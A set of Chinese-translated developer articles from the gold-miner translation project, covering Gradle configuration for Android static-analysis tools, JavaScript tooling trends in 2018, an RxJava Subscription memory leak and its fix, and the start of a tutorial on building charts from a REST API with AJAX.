file("${project.rootDir}/config/quality/checkstyle/suppressions.xml").absolutePath // Where is my suppressions file for checkstyle is... source 'src' include '**/*.java' exclude '**/gen/**' classpath = files() } ``` 配置完后,这个任务就会根据`checkstyle.xml`和`suppressions.xml`两个文件来分析你的代码。只需要在`Gradle`面板中启动这个任务,Android Studio就会自动执行此任务。 [![checkstyle](http://vincentbrison.com/wp-content/uploads/2014/07/checkstyle.jpg)](http://vincentbrison.com/wp-content/uploads/2014/07/checkstyle.jpg) 运行`Checkstyle`后,你会得到一份报告,上面纪录了在你项目中找到的所有问题。而且它非常易于理解。 如果你想更个性化地配置`Checkstyle`,请参考这篇[文档](http://www.gradle.org/docs/current/dsl/org.gradle.api.plugins.quality.Checkstyle.html)。 ## Checkstyle使用技巧 `Checkstyle`会探测到大量问题,尤其当你使用了很多规则--比如你想要一个精确的语法。虽然我通过`Gradle`脚本来使用`Checkstyle`(比如在我push代码之前),但我建议你同时使用`Checkstyle`的IntellJ/Android Studio插件(你能直接通过工具栏File/Settings/Plugins安装它们。译者注:mac版是Android Studio/Preferences/Plugins)。这种方式也是根据你之前为Gradle指定的那两个配置文件在你的项目中应用`Checkstyle`。这样的好处是能直接在Android Studio中查看结果。更实用的是,结果可以直接链接到错误所在代码(`Gradle`的那种方式仍然很重要,因为你能通过`Jenkins`这样的自动化构建系统来使用它)。 # FindBugs [![](http://findbugs.sourceforge.net/umdFindbugs.png)](http://findbugs.sourceforge.net/) ## 简介 `Findbugs` 需要简介吗?它的名字已经说明了一切。 >Findbugs 通过静态分析来检查Java字节码中的错误模式。 `Findbugs` 基本上只需要项目的字节码文件来做分析,因此它十分易用。它会检测出诸如错误使用布尔运算符这样常见的错误。同时,它还能检测出一些由于误解语言特性所导致的错误,比如Java中方法参数的重新赋值(实际上是无效的,因为Java中方法的参数是值传递)。 ## 通过Gradle配置 以下代码展示了在你项目中使用`Findbugs`的基本配置(作为一个`Gradle`任务): ```Gradle task findbugs(type: FindBugs) { ignoreFailures = false effort = "max" reportLevel = "high" excludeFilter = new File("${project.rootDir}/config/quality/findbugs/findbugs-filter.xml") classes = files("${project.rootDir}/app/build/classes") source 'src' include '**/*.java' exclude '**/gen/**' reports { xml.enabled = false html.enabled = true xml { destination "$project.buildDir/reports/findbugs/findbugs.xml" } html { destination "$project.buildDir/reports/findbugs/findbugs.html" } } classpath = files() } ``` 这和`Checkstyle`的任务很像。`Findbugs`支持`HTML`和`XML`格式的报告,我选择了`HTML`,因为其可读性更强。除此以外,你只需要标记一下报告的路径来快速读取它。如果Findbugs中的错误被检测到,任务会失败(仍然产生报告)。执行`Findbugs`的方式和`Checkstyle`完全一样(只是名字变成了"Findbugs")。 ## Findbugs使用技巧 由于Android项目与Java项目有轻微不同,我强烈建议大家使用`findbugs-filter`。例子[点这里](https://github.com/vincentbrison/vb-android-app-quality/blob/demo/config/quality/findbugs/findbugs-filter.xml)(示例项目的其中之一)。它一般会忽略掉R文件和清单文件。另外,由于`Findbugs`是分析你的字节码,你至少需要编译一次项目来测试它。 # PMD [![](http://pmd.sourceforge.net/pmd_logo.png)](http://pmd.sourceforge.net/) ## 简介 这个工具十分有趣:`PMD`并没有一个真正的名字。在官方网站上你会发现一些有趣的命名建议: * Pretty Much Done * Project Meets Deadline 实际上,`PMD`是一个非常强大的工具。它的工作方式有点像`Findbugs`,但它直接检查源码而非字节码(另外,PMD支持大量语言)。目标也和`Findbugs`高度相似--通过静态分析找出能导致bug的模式。那么为什么我们还要同时使用`Findbugs`和`PMD`呢?好吧,尽管`Findbugs`和`PMD`的目标一致,但它们的检查方法并不同。因此`PMD`有时可以找到`Findbugs`找不到的bug,反过来也一样。 ## 通过Gradle配置 以下代码展示了在你项目中使用`PMD`的基本配置(作为一个`Gradle`任务): ```Gradle task pmd(type: Pmd) { ruleSetFiles = files("${project.rootDir}/config/quality/pmd/pmd-ruleset.xml") ignoreFailures = false ruleSets = [] source 'src' include '**/*.java' exclude '**/gen/**' reports { xml.enabled = false html.enabled = true xml { destination "$project.buildDir/reports/pmd/pmd.xml" } html { destination "$project.buildDir/reports/pmd/pmd.html" } } } ``` `PMD`的结果同样与`Findbugs`有许多相同之处。`PMD`的报告同样支持`HTML`和`XML`,因此我再次选择了`HTML`的格式。我强烈建议使用你自己的自定义规则集文件,就像我在例子中做的这样([参照这个文件](https://github.com/vincentbrison/vb-android-app-quality/blob/master/config/quality/pmd/pmd-ruleset.xml))。当然,你还需要看一下[自定义规则集的文档](http://pmd.sourceforge.net/pmd-5.1.1/howtomakearuleset.html)。我这么建议是因为`PMD`相比`Findbugs`而言更具争议。比如,如果你没有折叠if条件语句或写了一个空的if条件语句,它一般就会警告你。我认为应该由你或你的同事为你们的项目来定义这些规则是否正确。像我自己就喜欢不折叠if条件语句,因为这样更具可读性。执行`PMD`的方式和`Checkstyle`完全一样(只是名字变成了"PMD")。 ## PMD使用技巧 由于我推荐你不要使用默认的规则集,你需要加上这行代码(上面已经加上了) ``` ruleSets = [] ``` 不加的话,由于默认值是基本的规则集,那些默认的规则集会始终伴随你自定义的规则集一起执行。这样即使你在自定义的规则集中指明不使用基础规则集中的规则,它们仍然会被考虑在内。 # Android Lint ## 简介 >Android lint 工具是一个静态代码分析工具。它通过你Android项目的源码检测出潜在的错误,并为项目在正确性,安全性,性能,可用性, 易用性和国际化等方面提供最佳的改进方案。 正如其官网所说,`Android Lint`是一款专注于Android的静态分析工具。它非常强大,能给出大量建议来提高你代码的质量。 ## 通过Gradle配置 ```Gradle android { lintOptions { abortOnError true lintConfig file("${project.rootDir}/config/quality/lint/lint.xml") // if true, generate an HTML report (with issue explanations, sourcecode, etc) htmlReport true // optional path to report (default will be lint-results.html in the builddir) htmlOutput file("$project.buildDir/reports/lint/lint.html") } ``` 我推荐你使用一个单独的文件来定义哪些规则应该使用。[这个网站](http://tools.android.com/tips/lint-checks)定义了所有来自最新ADT版本的规则。除了"ignore"中"severity"级别的规则外,我的demo中的`Lint`文件包含了所有规则: * IconDensities:这个规则确保你为每一种分辨率都设置了对应的图片资源(除ldpi外)。 * IconDipSize:这个规则确保你正确地定义了资源的每种尺寸。(换句话说,检查你是否为不同分辨率定义了完全相同的图片,而没有重新设置图片大小)。 所以你能直接复用这份`lint`文件并激活所有你想要的规则。执行`Android Lint`任务的方式和`Checkstyle`完全一样(只是名字变成了"lint")。 ## Android Lint使用技巧 `Android Lint`没有什么特殊的使用技巧,你只需要记住,`Android Lint`总是会测试除"ignore"中"severity"级别的规则外的所有规则。所以如果随着ADT的新版本出现了新的规则,它们会被检查,而不会被忽略。 # 通过一个任务管理以上所有工具 现在你已经掌握了为你项目使用4个质量控制工具的关键。但如果你能同时使用4个工具就更好了。你能在你的Gradle任务之间添加依赖,比如当你执行一个任务时,另外一个会在第一个任务完成后执行。一般在Gradle中,你通过"check"任务为你的质量工具添加依赖: ```Gradle check.dependsOn 'checkstyle', 'findbugs', 'pmd', 'lint' ``` 现在,当你执行"check"任务,`Checkstyle`, `Findbugs`, `PMD`, 和`Android Lint` 都会被执行。这是一个非常好的方式来在你commit/push/请求合并之前检查代码质量。 你能在[这个Gradle文件](https://github.com/vincentbrison/vb-android-app-quality/blob/master/config/quality.gradle)中获得所有这些任务的示例。你能在demo源码的`config/quality`文件夹中找到所有关于质量控制的配置和gradle文件。 # 总结 正如这篇文章介绍的,Android的质量控制工具配合`Gradle`使用非常简单。质量控制工具不仅仅能检查你电脑中的本地项目,还能检查一些自动化构建平台上的代码,比如Jenkins/Hudson等。这使你能将质量控制的工作依附于自动构建系统,实现自动化。执行所有测试的命令与执行Jenkins和Hudson相同,最简单的命令是: ```Gradle gradle check ``` 请自由评论这篇文章,或者咨询任何与Android代码质量相关的问题![😉](http://s.w.org/images/core/emoji/72x72/1f609.png) 快去实践吧! ================================================ FILE: TODO/how-to-javascript-in-2018.md ================================================ > * 原文地址:[How to JavaScript in 2018](https://www.telerik.com/blogs/how-to-javascript-in-2018) > * 原文作者:[Tara Z. Manicsic](https://www.telerik.com/blogs/author/tara-manicsic) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-javascript-in-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-javascript-in-2018.md) > * 译者:[llp0574](https://github.com/llp0574) > * 校对者:[MechanicianW](https://github.com/MechanicianW)、[ParadeTo](https://github.com/ParadeTo) # 2018 如何玩转 JavaScript ![](https://d585tldpucybw.cloudfront.net/sfimages/default-source/default-album/js_870x220_2.png?sfvrsn=2cce35f7_1) **从命令行工具和 webpack 到 TypeScript 和 Flow 等,让我们来谈一下在 2018 年如何玩转 JavaScript。** 去年包括我自己在内的许多人都在[讨论 JavaScript 疲劳症的问题](https://developer.telerik.com/topics/web-development/javascripts-journey-2016/)。实际上编写 JavaScript 应用的方法依然繁多,但在大量命令行工具处理了很多繁重工作的情况下,编译开始变得不那么重要,并且 TypeScript 试图减少类型错误,我们可以稍微轻松一点。 注意:这篇博文是我们白皮书的一部分,《[JavaScript 的未来:2018 及以后](https://www.telerik.com/campaigns/kendo-ui/wp-javascript-future-2018)》,里面讲述了我们对 JavaScript 未来的分析及近况的预测。 ## 命令行工具 大多数库和框架都有[命令行工具](https://www.telerik.com/campaigns/aspnet-mvc/net-cli-reinvented),一行命令就可以搭建好项目结构,快速创建我们期望的内容。这种做法通常包含一个开始命令(有时候会有一个自动加载器)、构建命令、测试结构等。当我们创建新项目的时候,这些工具可以减少大量的冗余文件。让我们来看看一些命令行工具帮助我们减少了什么东西。 ### Webpack 配置 配置 webpack 构建过程并真正理解其中原理,可能是 2017 年最艰巨的学习曲线之一。值得感谢的是,webpack 其中一个核心贡献者 [Sean Larkin](https://twitter.com/thelarkinn),到处在进行[很棒的演讲](https://www.youtube.com/watch?v=4tQiJaFzuJ8&t=3526s),并提供[真正有趣且有用的教程](https://www.twitch.tv/videos/209664650?t=1h57m40s)给我们学习。 如今许多框架不仅会为你创建 webpack 配置文件,甚至还会把它们放到你根本不需要看的地方 😮。[Vue 的 CLI 工具](https://github.com/vuejs/vue-cli)甚至有一个[特定的 webpack 模板](https://github.com/vuejs-templates/webpack),提供了一个功能齐全的 webpack 设置。为了全面让大家了解命令行工具到底提供了什么功能,下面是这个 Vue CLI 模板包含的内容,直接从官方仓库拿出来看: * `npm run dev`: 首选开发体验 * 对单个文件的 Vue 组件使用 Webpack + `vue-loader` * 热重载保留状态 * 编译错误覆盖保留状态 * 保存文件时调用 ESLint * 源文件映射 * `npm run build`: 生产环境准备构建 * 用 [UglifyJS v3](https://github.com/mishoo/UglifyJS2/tree/harmony) 压缩 JavaScript * 用 [html-minifier](https://github.com/kangax/html-minifier) 压缩 HTML * 将所有组件的 CSS 提取到一个独立文件并用 [cssnano](https://github.com/ben-eb/cssnano) 压缩 * 使用版本哈希编译的静态资源用于高效的长期缓存,并自动生成生产环境的 index.html,使用正确的 URL 指向这些资源 * 使用 `npm run build --report` 进行构建,用于分析打包大小 * `npm run unit`: 在 [JSDOM](https://github.com/tmpvar/jsdom) 里使用 [Jest](https://facebook.github.io/jest/) 运行单元测试,或者在 PhantomJS 里用 Karma + Mocha + karma-webpack 运行 * 在测试文件里支持 ES2015+ * 简单的数据模拟 * `npm run e2e`: 用 [Nightwatch](http://nightwatchjs.org/) 做端对端测试 * 在多个浏览器里并行运行测试 * 一行命令开箱即用: * 自动处理 Selenium 和 chromedriver 的依赖 * 自动生成 Selenium 服务器 另一方面,[preact-cli](https://github.com/developit/preact-cli#webpack) 负责标准的 webpack 功能。如果你需要自定义 webpack 配置的话只需要创建一个 `preact.config.js` 文件,这个文件会输出一个函数使得你的 webpack 产生变化。这么多的工具,这么多帮助,开发者互助 💞。 ## 开启还是关闭 Babel 明白了吗?听起来像 Babylon 😂。我不禁笑出了声。我并不是**真的**要把 Babel 和 Babylon 古城联系在一起,但有[讨论](https://medium.freecodecamp.org/you-might-not-need-to-transpile-your-javascript-4d5e0a438ca)说它可能真的可以消除我们对编译的依赖。在过去几年里 Babel 真的可以说是一件大事,因为我们想要 ECMAScript 提出的所有闪光点,但又不想等待浏览器缓慢的支持。随着 ECMAScript 发布速度的减缓,浏览器支持有可能会追赶上。如果没有一些很棒的 [kangax 兼容性](https://twitter.com/kangax?lang=en)图表,又怎算是一篇 JavaScript 文章呢? 这些图表的图片看起来不那么易读,因为我想表达的只是它们几乎都是绿色!想知道完整细节的话只需点击图片下方的链接,从而深入审查这些图表。 [![look at all that green](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/compatibility-es6.png?sfvrsn=81c1b8d1_1)](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/compatibility-es6.png?sfvrsn=81c1b8d1_1) [es6 的兼容性](http://kangax.github.io/compat-table/es6/) [![still looking green](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/compatibility-2016.png?sfvrsn=43f89061_1)](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/compatibility-2016.png?sfvrsn=43f89061_1) [es2016+ 的兼容性](http://kangax.github.io/compat-table/es2016plus/) 第一个图表里左边那些红色的块都是编译器(如 es-6 shim、Closure 等)和旧的浏览器(如 Kong 4.14 和 IE 11 等)。然后右侧的五个红色块都是服务器或编译器,如 PJS、JXA、Node 4、DUK 1.8 和 DUK 2.2 等。在较下面的图上,看起来像一只乱画的狗在看着乱七八糟感叹号的红色部分,是只包含 Node 6.5+ 支持的服务器或运行时。左边红色正方形的构成则是编译器或 polyfil 以及 IE 11 的支持。更重要的是,**看看那些绿色的部分!**在最流行的浏览器里,我们看到几乎都是绿色的。2017 特性仅有的红色标记是在 Firefox 52 的 ESR 对共享内存和原子化的支持。 从其他某些角度来看,下面是从 [维基百科](https://en.wikipedia.org/wiki/Usage_share_of_web_browsers) 得到的某些浏览器使用百分比。 [![browser user statistics](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/browser-user-statistics.png?sfvrsn=896a6611_1)](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/browser-user-statistics.png?sfvrsn=896a6611_1) 好吧,停用 Babel 可能还需要很长一段时间,因为我们还是尽最大可能让使用低版本浏览器的用户可以正常使用我们的应用。考虑到我们可能可以摆脱掉这个额外的步骤是很有趣的。你知道的,就像以前那样,当我们还没有使用编译器的时候 😆。 ## 讨论 TypeScript 如果我们讨论要如何玩转 JavaScript,那么我们必须得讨论到 [TypeScript](https://www.typescriptlang.org/)。五年前 TypeScript 从微软工作室横空出世,但在 2017 年它已经成为一门很酷的语言 😎。很少有会议没有“为什么我们爱 TypeScript”这类主题的演讲,这就跟新的开发者万人迷一样。本文不再歌颂 TypeScript,让我们来讨论一下为什么如此看重它。 为了每个想要在 JavaScript 里使用类型的开发者,TypeScript 在这里提供了一个严格的 JavaScript 语法超集,赋予了可选的静态类型。如果你体验过,就会发现那是相当酷的。当然,如果你看一下 [JavaScript 状态](https://stateofjs.com/2017/introduction/)的最新调查结果,就会发现似乎事实上大量开发者都喜欢这么做。 [![JS Flavors Comparison](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/js-flavors-comparison.png?sfvrsn=14077aa8_1)](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/js-flavors-comparison.png?sfvrsn=14077aa8_1) 来自 [JavaScript 状态](https://stateofjs.com/2017/introduction/). 要想直接从源头找到它,可以看一下这段来自 Brian Terlson 的引用: > 作为在 2014 年为 JavaScript 提出类型的人:我不相信类型会在不远的将来出现。从标准的角度看,这是一个非常复杂的问题。如果只是采取 TypeScript 作为标准,对于 TypeScript 用户来说当然是极好的,但还有其他类型的 JS 超集,包括 closure 编译器和 flow。这些工具全部表现得不一样,并且甚至不清楚是否有一个共同的子集(我不认为这有什么明显的意义)。我十分不确定类型的标准应该是什么样子,我和其他人会继续调研这个事情,因为它是非常有好处的,但不要期望在短时间内取得突破 - [HashNode AMA with Brian Terlson](https://hashnode.com/ama/with-brian-terlson-cj6vu9vjv01nmo1wu8vmtt1x9#cj6vuspfq01oso1wuhjo5zvd6) ### TypeScript ❤s Flow 在 2017 年,你可能看过许多[博文](http://thejameskyle.com/adopting-flow-and-typescript.html)讨论 TypeScript + Flow 的组合。[Flow](https://flow.org/) 是为 JavaScript 设计的一款静态类型检查器。正如你在上述 JavaScript 状态的调查图表里看到的那样,对 Flow 感兴趣和不感兴趣的人几乎一样多。更有趣的是统计数据还显示了接受调查的人里有多少人仍然没听说过 Flow ⏰。2018 年随着人们对 Flow 有更多的了解,他们会发现 Flow 和 [Minko Gechev](https://twitter.com/mgechev/status/940131449025347589) 一样有用: > TypeScript & Flow 消除了 15% 的生产环境 bug!还认为类型系统没用吗?[https://t.co/koG7dFCSgF](https://t.co/koG7dFCSgF) > > — Minko Gechev (@mgechev) [December 11, 2017](https://twitter.com/mgechev/status/940131449025347589?ref_src=twsrc%5Etfw) ### Angular ❤s TypeScript 有人可能已经注意到 Angular 文档中所有示例代码都是用 TypeScript 编写的。一度你可以选择使用 JavaScript 或 TypeScript 浏览教程,但似乎 Angular 已经开始转变态度了。下面 Angular 和 JS 之间的连接图,可以看到实际上有更多用户将 Angular 连接到 ES6(TypeScript: 3777, ES6: 3997)。我们将在 2018 年看到所有这些因素是否会影响 Angular。 [![angular connections](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/angular-connections.png?sfvrsn=192c96f4_1)](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/angular-connections.png?sfvrsn=192c96f4_1) 来自 [JavaScript 状态](https://stateofjs.com/2017/introduction/). 对于如何为你的下个应用选择正确的 JavaScript 框架想要得到专业建议的话,可以看一下[这份很棒的白皮书](https://www.telerik.com/campaigns/kendo-ui/wp-javascript-future-2018)。 毋庸置疑,我们编写 JavaScript 的方式将在 2018 年发生变化。作为程序员,我们喜欢制作和使用让我们的工作更轻松的工具。不幸的是,这有时会导致更多的混乱和太多的选择。值得感谢的是,命令行工具正在帮助我们减轻一些繁琐的工作,并且 TypeScript 已经满足了那些对类型错误感到厌烦的开发者。 ### JavaScript 的未来 想要深入了解我们在 JavaScript 方面的发展方向吗?查看我们的新文章,《JavaScript 的未来:2018 及以后》。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-leak-memory-with-subscriptions-in-rxjava.md ================================================ > * 原文地址:[How to leak memory with Subscriptions in RxJava](https://medium.com/@scanarch/how-to-leak-memory-with-subscriptions-in-rxjava-ae0ef01ad361#.frvn3pkux) * 原文作者:[Marcin Robaczyński](https://medium.com/@scanarch) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: [tanglie1993](https://github.com/tanglie1993) * 校对者:[ilumer](https://github.com/ilumer), [jamweak](https://github.com/jamweak) --- ![](https://cdn-images-1.medium.com/max/2000/1*aroR2HpWJo8simEzPVRgjQ.jpeg) # RxJava 中的 Subscriptions 是怎样泄露内存的 关于 RxJava 已经有了很多很好的教程文章。在使用 Android 框架时,它确实显著地简化了工作。然而需要注意,这种简化有它自己的缺陷。在接下来的部分中,你将探索其中的一个,从而了解 RxJava 的 Subscriptions 有多容易造成内存泄漏。 ### 解决简单任务 假设你的主管让你实现一个显示随机的电影名的控件。它必须基于一些外部的推荐服务。这个控件应当根据用户要求显示电影名称。如果用户没有要求,它也可以自己显示。你的主管还希望它可以存储一些和用户交互有关的信息。 有很多办法可以实现这一点。基于 MVP 的方法是其中之一。你可以创建一个包含 ProgressBar 和 TextView 的 view。`RecommendedMovieUseCase`负责提供一个随机的电影名。 `Presenter`和一个用例相连,并在 view 上显示一个标题。 Presenter 的状态是被保存在内存中的,甚至在 Activity(在 `NonConfigurationScope` 中)被重新创建时,它也还会在内存中。 这是你的 Presenter 的样子。在这篇文章中,我们假定你想要存储一个用于标志用户是否点击了标题的 flag。 ``` @NonConfigurationScope public class Presenter { private final RecommendMovieUseCase recommendMovieUseCase; private Subscription subscription = Subscriptions.empty(); private MovieSuggestionView view; private boolean didUserTapTitle; public Presenter(RecommendMovieUseCase recommendMovieUseCase) { this.recommendMovieUseCase = recommendMovieUseCase; } public void setView(@NonNull MovieSuggestionView view) { this.view = view; } public void present() { showRecommendedMovieTitle(view); } private void showRecommendedMovieTitle(final MovieSuggestionView view) { view.showProgress(); subscription = recommendMovieUseCase.recommendRandomMovie() .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new Action1() { @Override public void call(String movieTitle) { view.hideProgress(); view.showTitle(movieTitle); } }, new Action1() { @Override public void call(Throwable throwable) { view.hideProgress(); view.showLoadingError(); }                });    } public void onViewTapped() { didUserTapTitle = true; } public void destroy() { subscription.unsubscribe(); view = null; } } ``` 当用户请求推荐时,一个控件将会被加入紫色的容器。在用户决定清除它之后,它将会被移除。 ![](https://cdn-images-1.medium.com/max/1600/1*C85wCkIAGeDiLIPGNXk8Iw.gif) 目前一切看起来都没问题。 安全起见,我们决定在 debug build 中初始化 StrictMode。 我们开始试用 app,并尝试把我们的设备旋转几次。突然,一条 log 消息出现了。 ![](https://cdn-images-1.medium.com/max/2000/1*JF-royfW1_twemFL3Gn88Q.png) 这听起来不对。你可以尝试导出目前的内存状态,仔细研究这个问题: ![](https://cdn-images-1.medium.com/max/2000/1*e8IblGcaEdyFJC1jCYOpGw.png) 罪魁祸首是蓝色字体标出的部分。由于某种原因,仍然有一个 `MovieSuggestionView` 的实例持有对原有 `MainActivity` 的引用。 但是为什么?你已经注销了后台的工作,并在从你的 `Presenter` 中删除 view 时清除了对 `MovieSuggestionView` 的引用。这个泄露出自哪里? ### 查找泄露 通过把引用存储到 `Subscription`,你实际上把 `ActionSubscriber` 的实例存储起来了。它看上去像这样: ``` public final class ActionSubscriber extends Subscriber { final Action1 onNext; final Action1 onError; final Action0 onCompleted; ... } ``` 由于 `onNext`, `onError` 和 `onCompleted` 是 final 变量,你没有办法把它们设为 null。问题是在 `Subscriber` 上调用 `unsubscribe()` 只会把它标志为已注销(也会做些别的事情,但对我们来说不重要)。 对于那些怀疑这个 `ActionSubscriber` 从哪里来的人而言,你们可以看看 `subscribe` 方法的定义: ``` public final Subscription subscribe(final Action1 onNext, final Action1 onError) { if (onNext == null) { throw new IllegalArgumentException("onNext can not be null"); } if (onError == null) { throw new IllegalArgumentException("onError can not be null"); } Action0 onCompleted = Actions.empty(); return subscribe(new ActionSubscriber(onNext, onError, onCompleted)); } ``` 对 memory dump 的进一步分析证明:MovieSuggestionView 的引用仍然被保留在 `onNext` 和 `onError` 域的内部。 ![](https://cdn-images-1.medium.com/max/2000/1*VS65D4I9rNUvlQ34sGnFSw.png) 为了更好地理解这个问题,请挖掘得更深一点,看你的代码编译后会发生什么。 => ls -1 app/build/intermediates/classes/debug/me/scana/subscriptionsleak ... Presenter$1.class Presenter$2.class Presenter.class ... 你可以看到,除了你的主要的 `Presenter` 类之外,还有两个额外的类文件,分别对应你引入的两个匿名 `Action1<>` 类。 我们使用非常方便的 *javap* 工具,看看其中一个匿名类内部发生着什么: => javap -c Presenter\$1 ``` class me.scana.subscriptionsleak.Presenter$1 implements rx.functions.Action1 { final me.scana.subscriptionsleak.MovieSuggestionView val$view; final me.scana.subscriptionsleak.Presenter this$0; me.scana.subscriptionsleak.Presenter$1(me.scana.subscriptionsleak.Presenter, me.scana.subscriptionsleak.MovieSuggestionView); Code: 0: aload_0 1: aload_1 2: putfield #1 //Field this$0:Lme/scana/subscriptionsleak/Presenter; 5: aload_0 6: aload_2 7: putfield #2 //Field val$view:Lme/scana/subscriptionsleak/MovieSuggestionView; ... } view raw ``` 你可能听说过,一个匿名的类持有对外部类的隐式引用。**事实证明,匿名类会持有所有在它内部使用的变量。** 因此,通过保留对 `Subscription` 对象的引用,你保留了用于处理电影名结果的匿名类的引用。它们保留了对你希望处理的 view 的引用,这就是内存泄露的地方。 ### 你已经知道了目前的问题所在,那么,如何解决呢? 这很简单。 你可以对 `Subscription` 对象调用 `Subscription.empty()`,从而清除对旧  `ActionObserver` 的引用。 `CompositeSubscription` 类可以存储多个 `Subscription` 对象,并对他们进行  `unsubscribe()`。这可以使我们免于直接存储 `Subscription` 引用。记住,这还不会解决你的问题。引用仍然会被存储在 `CompositeSubscription` 内部。 幸运的是,还有一个 `clear()` 方法,它注销所有东西并清除引用。它还允许你重用 `CompositeSubscription` 对象,而 `unsubscribe()` 会使你的对象完全不可用。 这是修正过的 `Presenter` 类,它实现了一个前文提到的方法: ``` @NonConfigurationScope public class NonLeakingPresenter implements Presenter { private final RecommendMovieUseCase recommendMovieUseCase; private CompositeSubscription compositeSubscription = new CompositeSubscription(); private MovieSuggestionView view; private boolean didUserTapTitle; public NonLeakingPresenter(RecommendMovieUseCase recommendMovieUseCase) { this.recommendMovieUseCase = recommendMovieUseCase; } @Override public void setView(@NonNull MovieSuggestionView view) { this.view = view; } @Override public void present() { showRecommendedMovieTitle(view); } private void showRecommendedMovieTitle(final MovieSuggestionView view) { view.showProgress(); Subscription subscription = recommendMovieUseCase.recommendRandomMovie() .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new Action1() { @Override public void call(String movieTitle) { view.hideProgress(); view.showTitle(movieTitle); } }, new Action1() { @Override public void call(Throwable throwable) { view.hideProgress(); view.showLoadingError(); } }); compositeSubscription.add(subscription); } @Override public void onViewTapped() { didUserTapTitle = true; } @Override public void destroy() { compositeSubscription.clear(); view = null; } } ``` 值得一提的是,你有很多方法可以解决这个问题。记住:没有一种解决方案适用于你遇到的所有问题。 ### 总结: - `Subscription` 对象持有对你的回调的 final 引用。你的回调可能引用和 Android 生命周期绑定的对象。如果不小心的话,他们都有可能造成内存泄露。 - 你可以使用 StrictMode, javap, HPROF Viewer 等工具寻找和分析泄露的根源。我在文章中没有提及,但你也可以尝试 Square 的 LeakCanary。 - 深入挖掘你日常使用的库,有助于解决潜在的问题。 ================================================ FILE: TODO/how-to-make-a-chart-using-ajax-rest-apis.md ================================================ > * 原文地址:[How To Make A Chart Using AJAX & REST API's](https://blog.zingchart.com/2017/11/16/how-to-make-a-chart-using-ajax-rest-apis/?utm_source=frontendfocus&utm_medium=email) > * 原文作者:[Derek Fletes](https://blog.zingchart.com/author/derek/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-make-a-chart-using-ajax-rest-apis.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-make-a-chart-using-ajax-rest-apis.md) > * 译者:[sakila1012](https://github.com/sakila1012) > * 校对者:[easy-blue](https://github.com/easy-blue),[Usey95](https://github.com/usey95) # 如何使用 AJAX 和 REST API 创建一个图表 从 REST API 获取数据是一种很常见的编程模式,使用这些数据来绘制图表同样常见。 我们的很多用户可能正在为他们的 Web 应用程序这么做,所以我想我们(ZingChart)应该写一篇关于如何正确使用的教程。 REST API 基本上是一个公开的数据集(通常是 JSON),它位于某个 URL 中,并且可以通过 HTTP 请求以编程方式访问。 **免责声明,本教程将在一般的 JavaScript 中运用。** 我选择了 [Star Wars REST API](https://swapi.co/)作为 REST 端点,从中获取数据。我之所以选择它,是因为它会返回易于使用的 JSON 数据,还不需要身份验证。 ## 目录 *   [AJAX 请求](#ajaxrequest) *   [使用响应式文本](#workingwithresponse) *   [渲染图表](#renderingachart) **如果你不想阅读教程,你可以在这里看到完整的代码(带注释)[](http://)** ## AJAX 请求 AJAX 是异步 JavaScript 和 XML。Ajax 是一组用于异步 HTTP 请求(GET,POST,PUT,DELETE)的方法。在这种情况下,异步意味着我们不必每次发出 HTTP 请求就重新加载页面。一个 AJAX 请求由 5 个步骤组成: 1. 创建一个新的 HTTP 请求。 2. 加载请求。 3. 使用响应的数据。 4. 创建请求。 5. 发送请求。 ## 创建一个新的 HTTP 请求 要初始化一个 AJAX 请求,我们必须创建一个新的实例并将其存储在一个变量中,如下所示: ``` var xhr = new XMLHttpRequest(); ``` 将它存储在一个变量中允许我们后期使用其他的 AJAX 方法。我称之为 'xhr',因为这是一个简短的缩写,你也可以起一个你喜欢的变量名。 ## 加载请求 我们的 AJAX 过程的下一步将是添加一个事件监听器到我们的请求。我们的事件监听器将响应一个 `load` 事件,一旦我们的请求加载就会触发。接下来是一个回调函数。 在我们的事件监听器中,回调函数将在 if 语句流中运行。如果我们从 API 端点收到 “200” 状态(意味着请求完成),那么我们会做一些事情。 整个顺序将如下所示: ``` xhr.addEventListener('load', function() { if (this.status == 200) { // do something } }); ``` ## 处理响应 每个 AJAX 请求都会将数据返回给我们。微妙的部分是确保我们能够以我们想要的方式处理这些数据。在这个过程中将会接收我们可以从这个响应中处理的数据有四个步骤: 1. 将响应解析成 JSON 并将其存储在变量中。 2. 创建空数组,可以存放我们想要的数据。 3. 遍历响应并将值放入我们的空数组中。 4. 将数组中的值转换为可用数据。 